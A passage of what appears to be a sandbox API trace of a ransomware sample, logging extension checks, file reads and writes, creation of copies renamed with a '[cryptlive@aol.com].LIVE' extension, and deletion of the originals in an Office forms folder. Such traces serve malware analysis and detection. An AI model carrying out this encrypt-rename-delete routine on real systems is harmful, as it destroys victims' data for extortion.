[0161.734] lstrlenW (lpString=".xls") returned 4 [0161.734] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString=".xlsx") returned 5 [0161.734] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0161.734] lstrlenW (lpString=".ppt") returned 4 [0161.734] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.734] lstrlenW (lpString=".zip") returned 4 [0161.734] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString=".rar") returned 4 [0161.734] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString=".bz2") returned 4 [0161.734] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.734] lstrlenW (lpString=".7z") returned 3 [0161.734] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.734] lstrlenW (lpString=".dbf") returned 4 [0161.734] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.734] lstrlenW (lpString=".1cd") returned 4 [0161.734] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.734] lstrlenW (lpString=".jpg") returned 4 [0161.734] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.735] lstrlenW (lpString=".doc") returned 4 [0161.735] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString=".docx") returned 5 [0161.735] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0161.735] lstrlenW (lpString=".pdf") returned 4 [0161.735] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString=".xls") returned 4 [0161.735] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString=".xlsx") returned 5 [0161.735] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0161.735] lstrlenW (lpString=".ppt") returned 4 [0161.735] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.735] lstrlenW (lpString=".zip") returned 4 [0161.735] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString=".rar") returned 4 [0161.735] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString=".bz2") returned 4 [0161.735] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.735] lstrlenW (lpString=".7z") returned 3 [0161.735] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.735] lstrlenW (lpString=".dbf") returned 4 [0161.735] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.735] lstrlenW (lpString=".1cd") returned 4 [0161.735] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.735] lstrlenW (lpString=".jpg") returned 4 [0161.735] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.736] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.736] lstrlenW (lpString="TASKDECS.ICO") returned 12 [0161.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.737] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0161.737] CloseHandle (hObject=0x1b4) returned 1 [0161.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico")) returned 0x20 [0161.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.737] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.737] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.739] GetLastError () returned 0x0 [0161.739] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0161.740] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0161.741] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.741] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.742] SetEndOfFile (hFile=0x1dc) returned 1 [0161.742] CloseHandle (hObject=0x1dc) returned 1 [0161.742] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.742] SetEndOfFile (hFile=0x1b4) returned 1 [0161.744] CloseHandle (hObject=0x1b4) returned 1 [0161.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico")) returned 1 [0161.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.745] lstrlenW (lpString=".doc") returned 4 [0161.745] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.745] lstrlenW (lpString=".docx") returned 5 [0161.746] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.746] lstrlenW (lpString=".pdf") returned 4 [0161.746] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString=".xls") returned 4 [0161.746] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString=".xlsx") returned 5 [0161.746] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.746] lstrlenW (lpString=".ppt") returned 4 [0161.746] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.746] lstrlenW (lpString=".zip") returned 4 [0161.746] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString=".rar") returned 4 [0161.746] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString=".bz2") returned 4 [0161.746] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.746] lstrlenW (lpString=".7z") returned 3 [0161.746] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.746] lstrlenW (lpString=".dbf") returned 4 [0161.746] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.746] lstrlenW (lpString=".1cd") returned 4 [0161.746] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.746] lstrlenW (lpString=".jpg") returned 4 [0161.746] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.746] lstrlenW (lpString=".doc") returned 4 [0161.746] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.746] lstrlenW (lpString=".docx") returned 5 [0161.746] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.746] lstrlenW (lpString=".pdf") returned 4 [0161.746] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.746] lstrlenW (lpString=".xls") returned 4 [0161.747] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.747] lstrlenW (lpString=".xlsx") returned 5 [0161.747] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.747] lstrlenW (lpString=".ppt") returned 4 [0161.747] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.747] lstrlenW (lpString=".zip") returned 4 [0161.747] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.747] lstrlenW (lpString=".rar") returned 4 [0161.747] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.747] lstrlenW (lpString=".bz2") returned 4 [0161.747] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.747] lstrlenW (lpString=".7z") returned 3 [0161.747] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.747] lstrlenW (lpString=".dbf") returned 4 [0161.747] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.747] lstrlenW (lpString=".1cd") returned 4 [0161.747] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0161.747] lstrlenW (lpString=".jpg") returned 4 [0161.747] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.747] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.747] lstrlenW (lpString="TASKL.ICO") returned 9 [0161.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.748] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1078) returned 1 [0161.748] CloseHandle (hObject=0x1b4) returned 1 [0161.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico")) returned 0x20 [0161.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.749] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.749] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.750] GetLastError () returned 0x0 [0161.750] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x436, lpOverlapped=0x0) returned 1 [0161.751] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x440, lpOverlapped=0x0) returned 1 [0161.752] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.752] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0161.753] SetEndOfFile (hFile=0x1dc) returned 1 [0161.753] CloseHandle (hObject=0x1dc) returned 1 [0161.753] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.753] SetEndOfFile (hFile=0x1b4) returned 1 [0161.755] CloseHandle (hObject=0x1b4) returned 1 [0161.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico")) returned 1 [0161.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.756] lstrlenW (lpString=".doc") returned 4 [0161.756] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.756] lstrlenW (lpString=".docx") returned 5 [0161.756] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.756] lstrlenW (lpString=".pdf") returned 4 [0161.756] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.756] lstrlenW (lpString=".xls") returned 4 [0161.756] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.756] lstrlenW (lpString=".xlsx") returned 5 [0161.756] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.757] lstrlenW (lpString=".ppt") returned 4 [0161.757] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString=".zip") returned 4 [0161.757] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString=".rar") returned 4 [0161.757] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString=".bz2") returned 4 [0161.757] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.757] lstrlenW (lpString=".7z") returned 3 [0161.757] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString=".dbf") returned 4 [0161.757] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString=".1cd") returned 4 [0161.757] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString=".jpg") returned 4 [0161.757] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString=".doc") returned 4 [0161.757] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.757] lstrlenW (lpString=".docx") returned 5 [0161.757] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.757] lstrlenW (lpString=".pdf") returned 4 [0161.757] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString=".xls") returned 4 [0161.757] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString=".xlsx") returned 5 [0161.757] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.757] lstrlenW (lpString=".ppt") returned 4 [0161.757] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.757] lstrlenW (lpString=".zip") returned 4 [0161.757] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.757] lstrlenW (lpString=".rar") returned 4 [0161.758] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.758] lstrlenW (lpString=".bz2") returned 4 [0161.758] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.758] lstrlenW (lpString=".7z") returned 3 [0161.758] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.758] lstrlenW (lpString=".dbf") returned 4 [0161.758] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.758] lstrlenW (lpString=".1cd") returned 4 [0161.758] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0161.758] lstrlenW (lpString=".jpg") returned 4 [0161.758] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.758] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.758] lstrlenW (lpString="TASKREQ.CFG") returned 11 [0161.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.761] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=797) returned 1 [0161.762] CloseHandle (hObject=0x1b4) returned 1 [0161.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 0x20 [0161.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.762] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.762] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.764] GetLastError () returned 0x0 [0161.764] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x31d, lpOverlapped=0x0) returned 1 [0161.949] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x320, lpOverlapped=0x0) returned 1 [0161.969] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.972] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0161.972] SetEndOfFile (hFile=0x1dc) returned 1 [0161.973] CloseHandle (hObject=0x1dc) returned 1 [0161.973] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.973] SetEndOfFile (hFile=0x1b4) returned 1 [0161.975] CloseHandle (hObject=0x1b4) returned 1 [0161.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0162.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.024] lstrlenW (lpString=".doc") returned 4 [0162.024] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString=".docx") returned 5 [0162.024] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0162.024] lstrlenW (lpString=".pdf") returned 4 [0162.024] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString=".xls") returned 4 [0162.024] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString=".xlsx") returned 5 [0162.024] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0162.024] lstrlenW (lpString=".ppt") returned 4 [0162.024] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.024] lstrlenW (lpString=".zip") returned 4 [0162.024] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString=".rar") returned 4 [0162.024] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString=".bz2") returned 4 [0162.024] 